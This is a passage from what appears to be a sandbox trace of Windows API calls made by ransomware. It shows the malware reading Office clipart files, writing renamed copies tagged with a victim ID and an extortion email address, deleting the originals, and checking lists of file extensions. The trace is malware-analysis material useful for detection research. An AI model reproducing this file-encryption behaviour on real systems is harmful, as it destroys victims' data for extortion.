lpFileSize=0x377ff14*=900) returned 1 [0189.086] CloseHandle (hObject=0x410) returned 1 [0189.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0189.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0189.087] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.087] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0189.087] GetLastError () returned 0x0 [0189.088] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x384, lpOverlapped=0x0) returned 1 [0189.089] WriteFile (in: hFile=0x548, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x390, lpOverlapped=0x0) returned 1 [0189.090] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.090] WriteFile (in: hFile=0x548, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.091] SetEndOfFile (hFile=0x548) returned 1 [0189.091] CloseHandle (hObject=0x548) returned 1 [0189.091] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.091] SetEndOfFile (hFile=0x410) returned 1 [0189.093] CloseHandle (hObject=0x410) returned 1 [0189.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0189.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.094] lstrlenW (lpString=".doc") returned 4 [0189.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString=".docx") returned 5 [0189.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.095] lstrlenW (lpString=".pdf") returned 4 [0189.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString=".xls") returned 4 [0189.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.095] lstrlenW (lpString=".xlsx") returned 5 [0189.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.095] lstrlenW (lpString=".ppt") returned 4 [0189.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.095] lstrlenW (lpString=".zip") returned 4 [0189.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.095] lstrlenW (lpString=".rar") returned 4 [0189.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString=".bz2") returned 4 [0189.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString=".7z") returned 3 [0189.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.095] lstrlenW (lpString=".dbf") returned 4 [0189.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.095] lstrlenW (lpString=".1cd") returned 4 [0189.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.095] lstrlenW (lpString=".jpg") returned 4 [0189.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.095] lstrlenW (lpString=".doc") returned 4 [0189.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString=".docx") returned 5 [0189.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.096] lstrlenW (lpString=".pdf") returned 4 [0189.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString=".xls") returned 4 [0189.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.096] lstrlenW (lpString=".xlsx") returned 5 [0189.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.096] lstrlenW (lpString=".ppt") returned 4 [0189.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.096] lstrlenW (lpString=".zip") returned 4 [0189.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.096] lstrlenW (lpString=".rar") returned 4 [0189.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString=".bz2") returned 4 [0189.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString=".7z") returned 3 [0189.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.096] lstrlenW (lpString=".dbf") returned 4 [0189.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.096] lstrlenW (lpString=".1cd") returned 4 [0189.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0189.096] lstrlenW (lpString=".jpg") returned 4 [0189.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.097] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.097] lstrlenW (lpString="DD01585_.WMF") returned 12 [0189.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0189.098] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2524) returned 1 [0189.098] CloseHandle (hObject=0x410) returned 1 [0189.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0189.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0189.099] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.099] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0189.100] GetLastError () returned 0x0 [0189.100] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9dc, lpOverlapped=0x0) returned 1 [0189.265] WriteFile (in: hFile=0x548, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x9e0, lpOverlapped=0x0) returned 1 [0190.039] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.039] WriteFile (in: hFile=0x548, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.039] SetEndOfFile (hFile=0x548) returned 1 [0190.148] CloseHandle (hObject=0x548) returned 1 [0190.526] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.526] SetEndOfFile (hFile=0x410) returned 1 [0190.529] CloseHandle (hObject=0x410) returned 1 [0190.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0190.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.530] lstrlenW (lpString=".doc") returned 4 [0190.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.530] lstrlenW (lpString=".docx") returned 5 [0190.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.530] lstrlenW (lpString=".pdf") returned 4 [0190.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.530] lstrlenW (lpString=".xls") returned 4 [0190.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.530] lstrlenW (lpString=".xlsx") returned 5 [0190.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.530] lstrlenW (lpString=".ppt") returned 4 [0190.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.530] lstrlenW (lpString=".zip") returned 4 [0190.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.530] lstrlenW (lpString=".rar") returned 4 [0190.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.530] lstrlenW (lpString=".bz2") returned 4 [0190.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString=".7z") returned 3 [0190.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.531] lstrlenW (lpString=".dbf") returned 4 [0190.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.531] lstrlenW (lpString=".1cd") returned 4 [0190.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.531] lstrlenW (lpString=".jpg") returned 4 [0190.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.531] lstrlenW (lpString=".doc") returned 4 [0190.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString=".docx") returned 5 [0190.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.531] lstrlenW (lpString=".pdf") returned 4 [0190.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString=".xls") returned 4 [0190.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.531] lstrlenW (lpString=".xlsx") returned 5 [0190.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.531] lstrlenW (lpString=".ppt") returned 4 [0190.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.531] lstrlenW (lpString=".zip") returned 4 [0190.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.531] lstrlenW (lpString=".rar") returned 4 [0190.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString=".bz2") returned 4 [0190.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.531] lstrlenW (lpString=".7z") returned 3 [0190.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.532] lstrlenW (lpString=".dbf") returned 4 [0190.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.532] lstrlenW (lpString=".1cd") returned 4 [0190.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0190.532] lstrlenW (lpString=".jpg") returned 4 [0190.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.532] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.532] lstrlenW (lpString="DD01793_.WMF") returned 12 [0190.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.533] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3252) returned 1 [0190.533] CloseHandle (hObject=0x410) returned 1 [0190.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0190.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0190.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.533] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.533] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0190.534] GetLastError () returned 0x0 [0190.534] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0190.535] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0190.536] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.536] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.536] SetEndOfFile (hFile=0x53c) returned 1 [0190.537] CloseHandle (hObject=0x53c) returned 1 [0190.537] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.537] SetEndOfFile (hFile=0x410) returned 1 [0190.540] CloseHandle (hObject=0x410) returned 1 [0190.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0190.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.541] lstrlenW (lpString=".doc") returned 4 [0190.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.541] lstrlenW (lpString=".docx") returned 5 [0190.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.541] lstrlenW (lpString=".pdf") returned 4 [0190.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.541] lstrlenW (lpString=".xls") returned 4 [0190.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.541] lstrlenW (lpString=".xlsx") returned 5 [0190.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.541] lstrlenW (lpString=".ppt") returned 4 [0190.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.541] lstrlenW (lpString=".zip") returned 4 [0190.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.542] lstrlenW (lpString=".rar") returned 4 [0190.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString=".bz2") returned 4 [0190.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString=".7z") returned 3 [0190.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.542] lstrlenW (lpString=".dbf") returned 4 [0190.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.542] lstrlenW (lpString=".1cd") returned 4 [0190.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.542] lstrlenW (lpString=".jpg") returned 4 [0190.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.542] lstrlenW (lpString=".doc") returned 4 [0190.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString=".docx") returned 5 [0190.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.542] lstrlenW (lpString=".pdf") returned 4 [0190.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString=".xls") returned 4 [0190.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.542] lstrlenW (lpString=".xlsx") returned 5 [0190.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.542] lstrlenW (lpString=".ppt") returned 4 [0190.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.542] lstrlenW (lpString=".zip") returned 4 [0190.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.542] lstrlenW (lpString=".rar") returned 4 [0190.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString=".bz2") returned 4 [0190.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString=".7z") returned 3 [0190.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.543] lstrlenW (lpString=".dbf") returned 4 [0190.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.543] lstrlenW (lpString=".1cd") returned 4 [0190.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0190.543] lstrlenW (lpString=".jpg") returned 4 [0190.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.543] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.543] lstrlenW (lpString="ED00010_.WMF") returned 12 [0190.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0190.545] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1382) returned 1 [0190.545] CloseHandle (hObject=0x410) returned 1 [0190.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0190.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 